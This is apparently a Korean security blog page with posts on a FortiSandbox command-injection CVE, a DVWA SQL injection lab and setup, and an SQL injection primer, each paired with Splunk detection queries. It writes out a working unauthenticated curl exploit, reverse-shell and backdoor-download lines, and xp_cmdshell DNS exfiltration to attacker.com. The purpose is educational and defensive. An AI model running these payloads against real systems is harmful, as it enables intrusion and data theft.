Y0.0NS

CVE-2026-39808: Fortinet FortiSandbox OS Command Injection 취약점 분석 및 Splunk SPL 탐지 쿼리

y0.0ns — Fri, 17 Jul 2026 10:42:51 +0900

1. 취약점 설명

Fortinet FortiSandbox의 특정 엔드포인트에서 jid 파라미터가 검증 없이 OS 명령어로 전달되어, 인증 없이 root 권한으로 임의 명령어를 실행할 수 있는 취약점. curl 명령어 하나로 익스플로잇이 가능하며 PoC가 공개된 이후 실제 공격이 관찰되고 있다.

2. 취약점 개요

항목	내용
CVE 번호	CVE-2026-39808
CVSS	9.8 (Critical)
발표일	2026년 4월 14일
CWE	CWE-78 (OS Command Injection)
영향 제품	Fortinet FortiSandbox 4.4.0 ~ 4.4.8
취약 조건	인증 불필요, 네트워크 접근 가능하면 즉시 공격 가능
발견자	Samuel de Lucas Maroto (KPMG Spain)
패치 버전	4.4.9 또는 v5.0.0 이상
PoC 공개	2026년 4월 (GitHub 공개)
실제 공격	관찰됨 (허니팟 센서에 공격 시도 포착)

FortiSandbox란? Fortinet의 고급 위협 탐지 솔루션. 의심스러운 파일과 URL을 격리된 환경(샌드박스)에서 실행해 악성 여부를 판정한다. 방화벽, 이메일 보안, EDR, SIEM, SOAR 등 다른 Fortinet 제품들이 이 판정 결과를 기반으로 차단 결정을 내리거나 자동화 플레이북을 실행하기 때문에, FortiSandbox가 침해되면 Fortinet Security Fabric 전체의 신뢰성이 무너진다.

OS Command Injection이란? 사용자 입력값이 검증 없이 OS 명령어로 전달될 때 발생하는 취약점. SQL 인젝션이 DB 쿼리를 조작한다면, OS Command Injection은 운영체제 명령어 자체를 조작한다. CWE-78로 분류되며 OWASP Top 10:2025 A05(Injection) 카테고리에 포함된다.

3. 익스플로잇 방식

취약점의 근본 원인

취약점은 /fortisandbox/job-detail/tracer-behavior 엔드포인트의 jid GET 파라미터에 있다. 이 파라미터가 입력값 검증 없이 시스템 셸 명령어에 직접 전달된다.

정상 동작:
GET /fortisandbox/job-detail/tracer-behavior?jid=12345
→ jid=12345 가 내부 명령어에 그대로 전달
→ 해당 작업의 추적 행위 정보를 반환

취약한 코드 흐름:
system("tracer-behavior --job " + jid)
→ jid 값을 검증 없이 명령어에 붙임
→ jid에 파이프(|)를 넣으면 명령어 체인 가능

파이프(|) 기호를 이용한 명령어 체인

Unix/Linux에서 파이프(|) 기호:
명령어A | 명령어B
→ 명령어A의 출력을 명령어B의 입력으로 전달

공격에서 활용:
jid=|(임의명령어)|
→ 앞의 정상 명령어를 파이프로 끊고
→ 공격자가 원하는 명령어를 실행

공격 흐름:

1. 공격자가 조작된 GET 요청 전송 (인증 불필요)

2. jid 파라미터에 파이프 + 명령어 삽입
   jid=|(id > /web/ng/out.txt)|

3. FortiSandbox가 파이프 뒤 명령어를 root 권한으로 실행
   → id 명령어 실행 결과를 웹 루트에 저장

4. 공격자가 브라우저로 결과 파일 접근
   http://[FortiSandbox]/ng/out.txt
   → uid=0(root) 확인

5. 원하는 명령어로 교체
   → 백도어 설치, 자격증명 탈취, 내부망 이동

실제 PoC 코드

bash

# 발견자 samu-delucas가 공개한 PoC
curl -s -k --get "http://$HOST/fortisandbox/job-detail/tracer-behavior" \
     --data-urlencode "jid=|(id > /web/ng/out.txt)|"

# 결과 확인
curl -s -k "http://$HOST/ng/out.txt"
→ uid=0(root) gid=0(root) groups=0(root) 출력

왜 특히 위험하냐면: curl 명령어 하나로 인증 없이 root 권한 실행이 가능하다. 기술적 난이도가 거의 없어서 스크립트 키디 수준에서도 악용 가능하다. 또한 FortiSandbox가 침해되면 악성 파일을 정상으로 판정해서 연결된 Fortinet 제품들이 악성 트래픽을 허용하게 된다.

실제 공격에서 관찰된 패턴

허니팟 센서에 포착된 공격 시도:

bash

# 시스템 정보 수집
jid=|(whoami; id; hostname; ip addr; cat /etc/passwd > /web/ng/out.txt)|

# 지속 접근 확보
jid=|(curl http://공격자서버/backdoor.sh | bash)|

# 내부망 피버팅
jid=|(nc -e /bin/sh 공격자IP 4444)|

4. 어디서 흔적이 남는가 (로그 소스 매핑)

로그 소스	탐지 가능한 흔적
웹 서버/프록시 로그	/fortisandbox/job-detail/tracer-behavior 엔드포인트로의 비정상 GET 요청
방화벽 로그	FortiSandbox에서 외부로의 비정상 아웃바운드 연결
EDR/Sysmon	root 권한 비정상 프로세스 생성
네트워크 로그	포트 443/8443으로 들어오는 의심 GET 요청
FortiSandbox 자체 로그	웹 루트에 생성된 비정상 파일 (out.txt, proof.php 등)

⚠️ 탐지의 핵심 어려움 공격 트래픽이 일반 HTTPS GET 요청처럼 보인다. jid 파라미터에 파이프 문자가 URL 인코딩되어 전달되면(%7C) 단순 패턴 매칭으로는 탐지하기 어렵다. 웹 루트에 비정상 파일이 생성되는지 모니터링하는 것이 가장 확실한 탐지 포인트다.

5. SPL 탐지 쿼리

기본형: tracer-behavior 엔드포인트 비정상 접근 탐지

spl

index=proxy_logs OR index=waf_logs
| search uri_path="*/fortisandbox/job-detail/tracer-behavior*"
| rex field=uri_query "jid=(?<jid_value>[^&]+)"
| eval suspicious=if(match(jid_value, "(\||\;|\`|\$\(|%7C|%3B|%60)"), 1, 0)
| where suspicious=1
| stats count as attempt_count by src_ip, uri_path, jid_value
| sort -attempt_count
| table src_ip, uri_path, jid_value, attempt_count

쿼리 설명:

tracer-behavior 엔드포인트로 들어오는 요청만 필터링
jid 파라미터 값을 추출해서 파이프(|), 세미콜론(;), 백틱 등 명령어 체인 문자가 포함됐는지 확인
URL 인코딩된 형태(%7C = |, %3B = ;)도 함께 탐지

개선형: 비정상 GET 요청 + 이후 아웃바운드 연결 연계 탐지

spl

index=proxy_logs OR index=waf_logs
| search uri_path="*/fortisandbox/job-detail/tracer-behavior*"
| rex field=uri_query "jid=(?<jid_value>[^&]+)"
| eval suspicious=if(match(jid_value, "(\||\;|\`|%7C|%3B|%60|whoami|id|passwd|wget|curl|nc|bash|sh)"), 1, 0)
| where suspicious=1
| stats count as inject_count by src_ip, _time span=5m
| join type=left src_ip
    [search index=firewall_logs
     | where direction="outbound"
     | where dest_port IN (4444, 8080, 9001, 1080, 31337)
     | stats count as c2_count by src_ip]
| where isnotnull(c2_count)
| table src_ip, inject_count, c2_count

쿼리 설명:

명령어 인젝션 키워드(whoami, id, wget, curl, nc 등)까지 포함해서 더 정교하게 탐지
join으로 인젝션 시도 후 비표준 포트로 아웃바운드 연결(C2 통신)까지 연계
두 조건 동시 만족 = 익스플로잇 성공 후 백도어 통신 가능성 높음

웹 루트 비정상 파일 생성 탐지

spl

index=fortisandbox_logs OR index=linux_logs
| search file_path="/web/ng/*"
| eval suspicious_file=if(match(file_name, "(out\.txt|proof\.php|cmd\.php|shell\.php|\.sh)"), 1, 0)
| where suspicious_file=1
| stats count by host, file_path, file_name, _time
| sort -_time
| table host, file_path, file_name, _time

쿼리 설명:

PoC가 결과를 웹 루트(/web/ng/)에 파일로 저장하는 패턴을 탐지
out.txt, proof.php 같은 PoC에서 자주 쓰이는 파일명을 탐지
FortiSandbox 로그가 Splunk로 수집되는 환경에서 사용 가능

⚠️ 인덱스명 안내: proxy_logs, waf_logs, firewall_logs, fortisandbox_logs는 예시다. 실제 환경의 인덱스명으로 변경 후 사용할 것.

6. 오탐지 줄이는 팁

정상 jid 파라미터: 일반적인 작업 ID는 숫자나 알파숫자 조합이다. jid 값에 파이프, 세미콜론, 공백 + 명령어가 포함되면 즉시 의심
URL 인코딩 우회: 공격자가 %7C(파이프), %3B(세미콜론) 같이 인코딩해서 보낼 수 있으므로 인코딩된 형태도 반드시 포함
내부 보안팀 스캐닝: 취약점 스캐너가 해당 엔드포인트를 점검하는 경우 오탐 가능 → 스캐너 IP 화이트리스트 처리

7. 임시 대응 / 패치 정보

패치 적용 (최우선):

버전	조치
4.4.0 ~ 4.4.8	4.4.9 이상으로 업그레이드
5.0.0 이전	v5.0.0 이상으로 업그레이드

즉시 적용 가능한 완화 조치:

1. 관리 인터페이스 접근 제한 (가장 효과적)

포트 443, 8443을 신뢰된 관리자 IP에서만 접근 가능하도록
방화벽/ACL로 제한

2. 취약 엔드포인트 차단

WAF 또는 방화벽에서
'/fortisandbox/job-detail/' 경로로의 일반 서브넷 트래픽 차단

3. 이미 침해된 경우

패치만으로는 부족
→ FortiSandbox 어플라이언스 완전 재구축 필요
→ 연결된 Fortinet 제품들의 판정 결과 신뢰성 재검토
→ 내부망 전체 침해 여부 확인

8. CVE-2025-20393과 비교

이전에 다뤘던 Cisco SEG 취약점과 같은 유형(OS Command Injection)이지만 차이점이 있다.

항목	CVE-2025-20393	CVE-2026-39808
영향 제품	Cisco Secure Email Gateway	Fortinet FortiSandbox
취약점 유형	OS Command Injection (CWE-20)	OS Command Injection (CWE-78)
인증 필요	불필요	불필요
PoC 공개	비공개	공개 (GitHub)
실제 공격	APT 그룹 활용	허니팟에서 공격 시도 포착
핵심 위험	이메일 보안 장비 장악	보안 판정 시스템 장악

공통점:

둘 다 보안 장비 자체가 공격 대상
→ 보안 장비가 뚫리면 그 장비를 믿는 다른 시스템도 무너짐
→ "보안 장비는 안전하다"는 가정이 얼마나 위험한지 보여주는 사례

9. 마무리 / 한계점

이 SPL 쿼리의 한계:

FortiSandbox 로그가 Splunk로 수집되지 않는 환경에서는 웹 루트 파일 생성 탐지 불가
공격자가 URL 인코딩을 이중/삼중으로 적용하면 패턴 매칭 우회 가능
PoC 외 변형 공격 패턴은 키워드 기반 탐지로 잡기 어려움

보안 장비는 "신뢰의 앵커"다. FortiSandbox처럼 다른 보안 제품들이 판정을 위임하는 장비가 침해되면, 한 번의 공격으로 전체 보안 패브릭이 무력화된다. 패치 속도가 그 어느 제품보다 중요한 이유가 여기 있다.

더 나은 탐지 방법이나 실제 운영 환경에서의 개선점이 있다면 댓글로 공유해주세요.

이 블로그의 관련 글:

같은 OS Command Injection 유형의 다른 사례 → CVE-2025-20393: Cisco AsyncOS RCE 취약점 분석
OS Command Injection의 개념적 기반 → CWE-89: SQL 인젝션 완전 정리 (Injection 계열 취약점)

참고 자료:

SQL 인젝션 실습 2편 - DVWA Low 레벨 공격

y0.0ns — Wed, 15 Jul 2026 23:47:46 +0900

들어가며

환경 구성이 끝났으니 본격적으로 SQL 인젝션 공격을 진행했다. Low 레벨은 입력값 검증이 전혀 없어서 가장 기본적인 공격 기법을 그대로 사용할 수 있다. 에러 확인부터 DB 전체 정보 추출까지 단계별로 진행해봤다.

환경 구성 글: SQL 인젝션 실습 1편 - DVWA 환경 구성

1. 정상 동작 확인

SQL Injection 메뉴에서 User ID 입력창에 1 입력 후 Submit.

결과:
ID: 1
First name: admin
Surname: admin

내부적으로 실행된 쿼리:
SELECT * FROM users WHERE id = '1'

정상적으로 DB에서 ID 1번 사용자를 조회해서 출력하는 것을 확인.

2. SQL 에러 확인 (인젝션 가능 여부 판단)

입력창에 1' (작은따옴표 추가) 입력 후 Submit.

에러 메시지:
You have an error in your SQL syntax...near ''1''' at line 1

해석:
'1' 을 입력했더니 내부 쿼리가:
WHERE id = ''1'''
이렇게 따옴표가 엉켜서 문법 오류 발생

→ 입력값을 그대로 SQL에 넣는다는 증거
→ SQL 인젝션 가능 확인

3. 전체 사용자 목록 추출 (OR 1=1)

입력창에 입력:

1' OR '1'='1

변조된 쿼리:
SELECT * FROM users WHERE id = '1' OR '1'='1'

'1'='1' 은 항상 참
→ WHERE 조건이 항상 참
→ DB의 모든 사용자 반환

결과:
admin / Gordon Brown / Hack Me / Pablo Picasso / Bob Smith
→ 5명 전체 계정 정보 노출

4. 비밀번호 해시 추출 (UNION 기반)

처음에 아래처럼 입력했다:

1' UNION SELECT user, password FROM users --

에러 메시지:
You have an error in your SQL syntax...near '--'' at line 1

이유:
MariaDB/MySQL에서 -- 주석은 뒤에 공백이 필요하다.
공백 없이 -- 만 쓰면 주석으로 인식하지 않아서 오류 발생

-- 대신 # 으로 바꿔서 다시 입력:

1' UNION SELECT user, password FROM users #

변조된 쿼리:
SELECT first_name, last_name FROM users WHERE id = '1'
UNION SELECT user, password FROM users #

→ 원래 쿼리 결과 + users 테이블의 계정명/비밀번호 같이 출력

결과:
admin   : 5f4dcc3b5aa765d61d8327deb882cf99
gordonb : e99a18c428cb38d5f260853678922e03
1337    : 8d3533d75ae2c3966d7e0d4fcc69216b
pablo   : 0d107d09f5bbe40cade3de5c71e9e9b7
smithy  : 5f4dcc3b5aa765d61d8327deb882cf99

왜 -- 대신 # 을 쓰냐면: MariaDB/MySQL에서 -- 주석은 뒤에 공백이 필요하다. # 은 공백 없이도 주석으로 인식되어 더 편리하다.

MD5 해시 크랙 결과:

계정	해시	실제 비밀번호
admin	5f4dcc3b5...	password
gordonb	e99a18c42...	abc123
1337	8d3533d75...	charley
pablo	0d107d09f...	letmein
smithy	5f4dcc3b5...	password

MD5는 이미 크랙된 해시가 대부분 공개되어 있어서 온라인 도구(crackstation.net 등)로 쉽게 복호화 가능하다.

5. DB 버전 및 이름 추출

입력창에 입력:

1' UNION SELECT version(), database() #

결과:
First name: 10.1.26-MariaDB-0+deb9u1  ← DB 버전
Surname: dvwa                           ← 현재 DB 이름

→ MariaDB 10.1.26 사용 중
→ DB 이름은 dvwa
→ 공격자는 이 정보로 해당 버전의 추가 취약점을 찾아냄

6. 테이블 목록 추출

입력창에 입력:

1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema='dvwa' #

결과:
guestbook  ← 방명록 테이블
users      ← 사용자 계정 테이블

→ information_schema는 MySQL/MariaDB가 자체적으로 가지고 있는
  DB 구조 정보를 담은 시스템 테이블
→ 여기서 테이블 목록, 컬럼 목록 등을 조회 가능

NULL을 넣는 이유: UNION은 두 쿼리의 컬럼 수가 같아야 한다. 원래 쿼리가 컬럼 2개이므로 UNION SELECT도 2개가 필요한데, 두 번째 자리에 필요 없는 값은 NULL로 채운다.

7. 컬럼 목록 추출

입력창에 입력:

1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' #

결과:
users 테이블 컬럼 목록:

user_id      ← 사용자 ID 번호
first_name   ← 이름
last_name    ← 성
user         ← 계정명
password     ← 비밀번호 (해시)
avatar       ← 프로필 이미지
last_login   ← 마지막 로그인 시간
failed_login ← 로그인 실패 횟수

8. 원하는 데이터 자유롭게 추출

컬럼 목록을 알았으니 원하는 데이터를 뽑을 수 있다.

1' UNION SELECT user, last_login FROM users #

결과:
admin   : 2026-07-14 10:42:27
gordonb : 2026-07-14 10:42:27
...

9. Low 레벨 취약한 코드 확인

오른쪽 하단 View Source 클릭하면 취약한 PHP 코드를 확인할 수 있다.

php

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

입력값 $id를 그대로 쿼리에 삽입
→ 검증 없음 → SQL 인젝션 가능

Low 레벨 실습 전체 정리

단계입력값결과

1	1	정상 조회 확인
2	1'	SQL 에러 → 인젝션 가능 확인
3	1' OR '1'='1	전체 사용자 목록 추출
4	1' UNION SELECT user, password FROM users #	비밀번호 해시 추출
5	1' UNION SELECT version(), database() #	DB 버전/이름 추출
6	1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema='dvwa' #	테이블 목록 추출
7	1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' #	컬럼 목록 추출
8	1' UNION SELECT user, last_login FROM users #	원하는 데이터 추출

마무리

Low 레벨에서는 입력값 검증이 전혀 없어서 기본적인 SQL 인젝션 기법이 그대로 통한다. 특히 information_schema를 활용하면 DB 구조를 통째로 파악할 수 있다는 게 가장 위험한 포인트다. 비밀번호까지 추출하고 나면 사실상 DB 전체가 공격자 손에 넘어간 것이다.

다음 글에서는 Medium 레벨로 올려서 필터링이 걸렸을 때 어떻게 우회하는지 다뤄볼 예정이다.

더 나은 방법이나 실제 운영 환경에서의 개선점이 있다면 댓글로 공유해주세요.

이 블로그의 관련 글:

SQL 인젝션 실습 1편 - DVWA 환경 구성 (Docker)

y0.0ns — Tue, 14 Jul 2026 20:08:21 +0900

들어가며

SQL 인젝션 개념 글에서 원리를 정리했는데, 직접 실습해보고 싶어서 DVWA를 Docker로 띄워봤다. 버퍼 오버플로우 실습 때처럼 Docker를 활용하면 내 PC에 영향 없이 취약한 환경을 만들 수 있다. 생각보다 환경 구성이 간단해서 금방 실습까지 들어갈 수 있었다.

⚠️ 주의: DVWA는 의도적으로 취약하게 만들어진 실습용 애플리케이션이다. 반드시 로컬 환경에서만 사용하고 인터넷에 노출되는 서버에는 절대 올리지 말 것.

SQL 인젝션 개념 글: CWE-89: SQL 인젝션 완전 정리

1. DVWA란?

Damn Vulnerable Web Application의 줄임말
→ 의도적으로 취약하게 만들어진 웹 애플리케이션

목적:
→ SQL 인젝션, XSS, CSRF, Command 인젝션 등
  다양한 웹 취약점을 안전한 환경에서 실습
→ 난이도 조절 가능 (Low / Medium / High)

왼쪽 메뉴에서 확인 가능한 취약점 목록:

항목	설명
SQL Injection	SQL 인젝션 실습
SQL Injection (Blind)	Blind SQL 인젝션 실습
XSS (DOM/Reflected/Stored)	XSS 세 가지 유형 실습
Command Injection	OS 명령어 인젝션 실습
Brute Force	무차별 대입 공격 실습
File Upload	악성 파일 업로드 실습

2. 사전 준비

Docker가 설치되어 있어야 한다. Docker 설치 방법은 아래 글 참고.

Docker 환경 구성 글: 버퍼 오버플로우 실습 1편 - 환경 구성

3. DVWA 실행

CMD에서 아래 명령어 입력:

bash

docker run -it --privileged -p 80:80 --name dvwa vulnerables/web-dvwa

명령어 설명:

-it          : 터미널 입출력 활성화
--privileged : 컨테이너에 높은 권한 부여
               (Apache, MySQL 내부 서비스 실행 목적)
-p 80:80     : 컨테이너 80 포트를 내 PC 80 포트로 연결
               → 브라우저에서 http://localhost 로 접속 가능
--name dvwa  : 컨테이너 이름 지정
vulnerables/web-dvwa : Docker Hub의 DVWA 공식 이미지

4. 브라우저에서 접속 및 로그인

브라우저에서:

http://localhost

접속하면 로그인 화면이 뜬다.

ID: admin
PW: password

5. DB 초기화

로그인하면 Database Setup 화면으로 이동한다.

Create / Reset Database 버튼 클릭.

클릭하면 DB가 생성되고 로그인 화면으로 이동

6. 다시 로그인

ID: admin
PW: password

7. 메인 화면 확인

로그인하면 DVWA 메인 화면이 뜬다. 좌측 하단에서 현재 설정을 확인할 수 있다.

Username: admin
Security Level: low
PHPIDS: disabled

Security Level 설명:

레벨	설명
Low	입력값 검증 없음. 가장 취약한 상태. 실습 시작에 적합
Medium	일부 필터링 적용. 우회 기법 필요
High	강한 보안 적용. 고급 우회 기법 필요

PHPIDS란?

PHP Intrusion Detection System
→ SQL 인젝션, XSS 같은 공격 패턴을 탐지/차단하는 보안 모듈
→ disabled = 꺼진 상태 → 공격이 그대로 통과
→ 실습에 최적화된 상태

8. SQL Injection 메뉴 접속

왼쪽 메뉴에서 SQL Injection 클릭.

User ID 입력창이 있는 화면이 뜨면 환경 구성 완료.

9. 컨테이너 재접속 방법

Docker Desktop을 껐다가 다시 켤 때:

bash

docker start dvwa

브라우저에서 http://localhost 접속하면 바로 사용 가능하다.

마무리

DVWA 환경 구성이 완료됐다. 다음 글에서는 실제로 SQL 인젝션 공격을 단계별로 진행한다. Low 레벨에서 기본 공격부터 시작해서 DB 전체 정보를 추출하는 과정까지 다룬다.

다음 글: SQL 인젝션 실습 2편 - DVWA Low 레벨 공격

[OWASP Top 10:2025 - A05] CWE-89: SQL 인젝션 완전 정리 - 원리부터 실무 탐지까지

y0.0ns — Tue, 14 Jul 2026 00:51:27 +0900

들어가며

SQL 인젝션은 OWASP Top 10에서 2013년부터 꾸준히 상위권을 차지하고 있는 웹 취약점이다. 2021년까지 3위(A03)였다가 2025년에 5위(A05)로 내려갔지만, 순위가 낮아진 게 덜 위험해진 게 아니라 다른 위협들이 더 많이 발견됐기 때문이다. "가장 오래됐고 가장 잘 알려진 취약점"이지만 여전히 실제 공격에서 가장 많이 발견된다. 그만큼 개발자 교육도 많이 됐는데 왜 아직도 이렇게 자주 터지는지, 원리부터 실무 탐지까지 정리해봤다.

1. SQL 인젝션이란?

사용자 입력값이 SQL 쿼리의 일부로 그대로 삽입되어, 공격자가 개발자가 의도하지 않은 쿼리를 실행시킬 수 있는 취약점이다.

2. 취약점 개요

항목	내용
CWE 번호	CWE-89 (Improper Neutralization of Special Elements used in an SQL Command)
OWASP	A05:2025 - Injection
위험도	Critical (데이터 유출, 인증 우회, DB 전체 장악 가능)
영향 범위	DB를 사용하는 모든 웹 애플리케이션
근본 원인	사용자 입력값을 검증 없이 SQL 쿼리에 직접 삽입

OWASP Top 10이란? Open Web Application Security Project(OWASP) 재단이 주기적으로 발표하는 웹 애플리케이션 보안 위협 상위 10개 목록. 실제 침해 사례, 취약점 데이터를 기반으로 선정되며 보안 업계에서 사실상의 표준 기준으로 활용된다. 현재 최신 버전은 2025년 말 발표된 OWASP Top 10:2025이며, Injection은 2021년 A03에서 2025년 A05로 내려갔다. A05:2025 Injection 카테고리 안에 SQL 인젝션, Command 인젝션, LDAP 인젝션 등이 포함된다.

OWASP Top 10:2025 전체 목록:

A01: Broken Access Control (SSRF 통합)

A02: Security Misconfiguration

A03: Software Supply Chain Failures

A04: Cryptographic Failures

A05: Injection ← 이번 글 (3위→5위)

A06: Insecure Design

A07: Authentication Failures

A08: Software or Data Integrity Failures

A09: Security Logging and Alerting Failures

A10: Mishandling of Exceptional Conditions

3. 원리

정상적인 로그인 쿼리

sql

SELECT * FROM users
WHERE username = '입력값' AND password = '입력값';

사용자가 admin / 1234 를 입력하면:

sql

SELECT * FROM users
WHERE username = 'admin' AND password = '1234';

정상적으로 DB에서 해당 사용자를 조회한다.

SQL 인젝션 공격 시

공격자가 username에 admin' -- 를 입력하면:

sql

SELECT * FROM users
WHERE username = 'admin' --' AND password = '1234';

-- 은 SQL 주석 처리 기호
→ 그 뒤의 AND password = '1234' 부분이 전부 무시됨
→ 비밀번호 없이 admin 계정으로 로그인 성공

왜 이런 일이 발생하냐면

취약한 코드 (PHP 예시):
$query = "SELECT * FROM users
          WHERE username = '" . $_POST['username'] . "'
          AND password = '" . $_POST['password'] . "'";

→ 사용자 입력값을 그냥 문자열로 붙여버림
→ 입력값 안에 SQL 특수문자(', --, ;)가 있으면
  쿼리 구조 자체가 바뀌어버림

안전한 코드 (Prepared Statement):
$stmt = $pdo->prepare("SELECT * FROM users
                        WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

→ 입력값을 쿼리와 분리해서 처리
→ 어떤 값을 넣어도 그냥 "데이터"로만 취급
→ SQL 구조를 바꿀 수 없음

4. 공격 유형

4-1. 인증 우회 (Authentication Bypass)

sql

-- username 입력값
admin' --
admin' OR '1'='1' --
' OR 1=1 --

로그인 없이 관리자 계정으로 접근 가능.

4-2. UNION 기반 공격 (데이터 추출)

sql

-- 검색창 입력값
' UNION SELECT username, password FROM users --

원래 쿼리: SELECT name, price FROM products WHERE id = '입력값'
변조 후:   SELECT name, price FROM products WHERE id = ''
           UNION SELECT username, password FROM users --'

→ 상품 목록 대신 users 테이블의 계정 정보가 출력됨

4-3. Blind SQL 인젝션 (응답 없을 때)

에러 메시지나 데이터가 화면에 안 나오는 경우에도 공격이 가능하다.

Boolean 기반:

sql

' AND 1=1 --   → 정상 응답 (조건이 참)
' AND 1=2 --   → 빈 응답 (조건이 거짓)
→ 응답 차이로 DB 정보를 한 글자씩 추출

Time 기반:

sql

'; IF (1=1) WAITFOR DELAY '0:0:5' --
→ 5초 지연이 발생하면 조건이 참
→ 지연 여부로 DB 정보 추출

4-4. Error 기반 공격

sql

' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --
→ 에러 메시지 안에 DB 버전 정보가 출력됨

상세 설명:

XML이란? 데이터를 구조화해서 저장하는 형식. 태그로 데이터를 감싸는 방식이다.
xml
<user>
    <name>admin</name>
    <age>30</age>
</user>
HTML과 비슷해 보이지만 HTML은 화면에 어떻게 보여줄지(표시용), XML은 데이터를 어떻게 저장할지(저장/전달용)이다.

XPath란? XML 안에서 원하는 데이터 위치를 찾는 경로 표현식. 파일 경로랑 비슷한 개념이다.
/user/name  → user 태그 안의 name 태그를 가리킴
EXTRACTVALUE(xml데이터, xpath경로) 형식으로 XML에서 값을 꺼내는 함수인데, XPath가 유효하지 않으면 에러 메시지에 해당 값을 포함해서 출력한다.

각 부분 분해:

' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --
----------------------------------------------------------------------
쿼리 설명

'(작은따옴표)
→ 쿼리 구조를 깨는 작은따옴표

EXTRACTVALUE(1, ...)
→ 첫 번째 인자 1 = XML 자리 (의미없음, 자리채우기용)
→ 두 번째 인자 = XPath 경로 자리

CONCAT(0x7e, (SELECT version()))
→ CONCAT = 문자열을 합치는 함수
→ 0x7e = 물결표(~)의 16진수 코드
→ SELECT version() = DB 버전 반환 (예: 8.0.32)
→ 합치면: "~8.0.32"

EXTRACTVALUE(1, "~8.0.32")
→ ~로 시작하면 유효한 XPath 형식이 아님
→ MySQL이 에러 발생
→ 에러 메시지: XPATH syntax error: '~8.0.32'
→ DB 버전 정보가 에러 메시지 안에 그대로 노출됨

--
→ 이후 SQL 코드 주석 처리

version() 말고 다른 정보도 추출 가능:

sql

' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()))) --
→ 현재 DB 이름 노출

' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT user()))) --
→ DB 계정명 노출

' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 1))) --
→ 테이블 이름 노출

4-5. Out-of-Band 공격

일반적인 SQL 인젝션은 응답에 데이터가 담겨 오지만, Out-of-Band는 응답에 아무것도 없고 DB가 공격자 서버로 직접 데이터를 보낸다. 응답이 완전히 막혀있어도 사용 가능한 공격 방식이다.

sql

'; EXEC xp_cmdshell('nslookup 공격자도메인') --
→ DB 서버가 공격자 도메인으로 DNS 요청을 보냄
→ DNS 요청에 데이터를 실어서 외부로 유출

EXEC란? EXECUTE의 줄임말. SQL Server에서 명령어나 프로시저를 실행하는 명령어다.

xp_cmdshell이란? MS SQL Server에 내장된 확장 프로시저. DB 안에서 윈도우 OS 명령어(CMD)를 직접 실행할 수 있게 해주는 기능이다.
sql
EXEC xp_cmdshell('whoami')    → DB 서버 계정명 출력
EXEC xp_cmdshell('dir C:')  → C드라이브 파일 목록 출력
DB가 뚫리면 xp_cmdshell로 OS까지 직접 조작 가능하기 때문에 매우 위험하다.

nslookup이란? Name Server Lookup의 줄임말. 도메인 이름을 IP 주소로 변환하는 명령어다.
nslookup google.com → google.com의 IP 주소를 DNS 서버에 물어봄
공격자가 자신의 DNS 서버를 운영하면, DB 서버가 nslookup을 실행하는 순간 공격자 DNS 서버에 조회 요청이 들어온다. 이 요청에 DB 정보를 실어 보낼 수 있다.

데이터를 DNS에 실어서 보내는 방식:

sql

'; EXEC xp_cmdshell('nslookup ' + (SELECT version()) + '.attacker.com') --

→ SELECT version() = "8.0.32"
→ nslookup 8.0.32.attacker.com 실행
→ 공격자 DNS 서버 로그:
  "8.0.32.attacker.com 을 192.168.1.10이 조회했다"
→ DB 버전(8.0.32)과 DB 서버 IP(192.168.1.10) 획득
→ 웹사이트 응답을 보지 않고도 정보 유출 성공

탐지가 어려운 이유:

웹 서버 응답 → 정상 페이지 (아무것도 없음)
데이터 유출  → DNS 또는 HTTP로 외부 서버에 직접 전송
→ 방화벽이 내부 DNS 쿼리를 막지 않으면 탐지 어려움

5. 실제 피해 사례

연도	사건	피해
2011	Sony Pictures 해킹	1억 명 개인정보 유출
2014	eBay 해킹	1억 4500만 계정 유출
2016	야후 해킹	5억 계정 유출
2021	국내 쇼핑몰 다수	카드정보, 개인정보 유출
2024	Ticketmaster 해킹	5억 6000만 명 개인정보 유출

"오래된 취약점인데 왜 아직도?" 라는 질문의 답이 여기 있다. 레거시 시스템, 외주 개발, 빠른 출시 압박으로 기본적인 입력값 검증이 빠지는 경우가 여전히 많다.

6. 어디서 흔적이 남는가 (로그 소스 매핑)

로그 소스	탐지 가능한 흔적
웹 서버 로그 (Apache, Nginx)	SQL 특수문자 포함 URL/파라미터, 비정상 응답코드
WAF 로그	SQL 인젝션 패턴 매칭, 차단 이벤트
DB 로그 (Slow Query, Error Log)	비정상 쿼리, 에러 발생, 대용량 데이터 조회
IDS/IPS 로그	SQL 인젝션 시그니처 탐지
애플리케이션 로그	DB 연결 에러, 쿼리 실패 로그

⚠️ 탐지의 핵심 어려움 Blind SQL 인젝션이나 Time 기반 공격은 응답이 정상처럼 보여서 웹 서버 로그만으로는 탐지가 어렵다. WAF가 없거나 DB 로그가 수집되지 않는 환경에서는 탐지 자체가 불가능한 경우도 있다.

7. SPL 탐지 쿼리

기본형: SQL 인젝션 의심 패턴 탐지

spl

index=web_logs OR index=waf_logs
| rex field=uri_query "(?<sqli_pattern>('|\"|;|--|\/\*|\*\/|xp_|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|EXEC|CAST|CONVERT|WAITFOR|SLEEP|BENCHMARK))"
| where isnotnull(sqli_pattern)
| eval severity=case(
    match(sqli_pattern, "(DROP|xp_cmdshell|WAITFOR|SLEEP|BENCHMARK)"), "HIGH",
    match(sqli_pattern, "(UNION|SELECT|INSERT|UPDATE|DELETE|EXEC)"), "MEDIUM",
    true(), "LOW")
| stats count as attempt_count by src_ip, uri_path, sqli_pattern, severity
| sort -attempt_count
| table src_ip, uri_path, sqli_pattern, severity, attempt_count

쿼리 라인별 설명:

index=web_logs OR index=waf_logs

웹 서버 로그 또는 WAF 로그에서 검색
HTTP 요청이 기록되는 소스

| rex field=uri_query "(?<sqli_pattern>(...))"

rex = 정규식으로 값을 추출하는 명령어

field=uri_query
→ URL 쿼리 파라미터 필드에서 검색
→ ?id=1&name=admin 같은 부분
→ uri_query는 원래 있는 필드가 아님
